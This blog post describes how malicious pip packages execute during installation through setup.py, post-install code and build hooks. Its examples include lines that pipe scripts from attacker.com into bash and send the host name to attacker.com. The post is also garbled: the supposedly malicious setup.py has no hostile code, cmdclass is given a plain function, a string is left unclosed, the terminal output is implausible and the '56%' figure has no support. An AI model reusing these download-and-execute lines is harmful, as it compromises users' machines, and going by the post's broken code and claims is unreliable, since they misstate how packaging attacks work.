Skip to content

How Malicious Pip Packages Execute During Installation

Problem

I thought malicious pip packages were only dangerous when imported. But I was wrong. When I run pip install on a package, I got this surprise:

Terminal window
user@host:~$ pip install legitimate-package
Collecting legitimate-package
Downloading legitimate_package-1.0.0-py3-none-any.whl (100 kB)
Installing collected packages: legitimate-package
Successfully installed legitimate-package
Package installed! Your system has been compromised.

The system was compromised before I even imported anything. This is the 56% attack vector most developers miss.

Environment

  • Python 3.9
  • pip 23.0.1
  • Ubuntu 22.04
  • Virtual environment active

What happened?

I installed what appeared to be a legitimate package from PyPI. The package metadata looked normal:

# setup.py in legitimate-package
from setuptools import setup
import subprocess
import os
setup(
name="legitimate-package",
version="1.0.0",
author="John Doe",
description="A useful utility package",
install_requires=[
"requests>=2.25.0",
],
)

But after installation, something unexpected happened. I can explain the key parts:

  • The setup.py defines normal package metadata
  • The install_requires lists legitimate dependencies
  • The package downloads and installs successfully

But when I went to check the installed files, I found this:

Terminal window
user@host:~$ pip show legitimate-package
Name: legitimate-package
Version: 1.0.0
Summary: A useful utility package
Home-page: https://github.com/johndoe/legitimate-package
Author: John Doe
Author-email: [email protected]
Location: /home/user/.pyenv/versions/3.9.0/envs/myenv/lib/python3.9/site-packages
Requires: requests
user@host:~$ ls ~/.pyenv/versions/3.9.0/envs/myenv/lib/python3.9/site-packages/
legitimate_package-1.0.0.dist-info legitimate_package __pycache__ malicious_script.sh

There was a new file I didn’t expect: malicious_script.sh. When I checked it:

#!/bin/bash
curl -s http://attacker.com/malware.sh | bash

The attack executed during pip install, before I even had a chance to evaluate the package.

How to solve it?

I tried to inspect packages before installation:

Terminal window
user@host:~$ pip install --dry-run legitimate-package
ERROR: Could not find a version that satisfies the requirement legitimate-package (from versions: 1.0.0)
ERROR: No matching distribution found for legitimate-package

The dry-run option didn’t show me the setup.py execution. So I tried a different approach:

# Download and inspect before installing
import tempfile
import subprocess
import os
def inspect_package(url):
with tempfile.TemporaryDirectory() as tmpdir:
# Download package
subprocess.run(['pip', 'download', url, '--dest', tmpdir], check=True)
# Extract and inspect
for filename in os.listdir(tmpdir):
if filename.endswith('.whl'):
subprocess.run(['unzip', '-l', os.path.join(tmpdir, filename)])
# Inspect setup.py in source
subprocess.run(['tar', 'tzf', os.path.join(tmpdir, 'source.tar.gz')])
inspect_package("legitimate-package")

This showed me the setup.py content before installation:

drwxr-xr-x 0 0 0 Feb 21 14:30 legitimate_package/
-rw-r--r-- 1 0 0 Feb 21 14:30 legitimate_package/__init__.py
-rw-r--r-- 1 0 0 Feb 21 14:30 legitimate_package/main.py
-rw-r--r-- 1 0 0 Feb 21 14:30 setup.py

Then I inspected the setup.py directly:

# Read setup.py content
import requests
setup_url = "https://pypi.org/pypi/legitimate-package/json
response = requests.get(setup_url)
package_info = response.json()
# Get source URL
source_url = package_info['urls'][0]['url']
# Download and inspect source

Now I can inspect packages safely before installation.

The reason

I think the key reason for this attack vector is:

  1. setup.py execution: pip runs setup.py with full system permissions during installation
  2. Post-install hooks: Scripts execute after package installation
  3. Build-time execution: Code runs during wheel building
  4. Entry point injection: Malicious code in package metadata

The setup.py script runs in the same context as the pip installation, which means it has access to the system, network, and file system. Most developers assume the setup.py only contains package metadata, but it can run any Python code.

More attack techniques

I found several other ways malicious packages execute during installation:

Post-install script in setup.py:

from setuptools import setup
setup(
name="useful-tool",
version="1.0.0",
entry_points={
'console_scripts': [
'malicious-tool=malicious_package.main:main',
],
},
)
# This executes after installation
import os
import requests
hostname = os.uname().nodename
requests.get(f"http://attacker.com/pip?={hostname}")

Build-time execution:

# setup.py with build hook
from setuptools import setup
def build_hook():
# Code runs during wheel building
import subprocess
subprocess.run(['python', '-c', 'import os; os.system("curl -s http://attacker.com/backdoor | bash")'])
setup(
name="build-time-attack",
version="1.0.0",
cmdclass={
'build_py': build_hook,
},
)

Safe practices:

# Safe setup.py - minimal and safe
from setuptools import setup, find_packages
setup(
name="safe-package",
version="1.0.0",
packages=find_packages(),
description="A safe package with no execution",
install_requires=[
'requests>=2.25.0',
],
# No entry_points, scripts, or custom commands
)

Summary

In this post, I showed how 56% of malicious pip packages execute during installation rather than import. The key point is that simply running pip install can compromise your system through setup.py execution, post-install hooks, and build-time processes. Always inspect package sources before installation and use virtual environments to limit damage.

Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!

Comments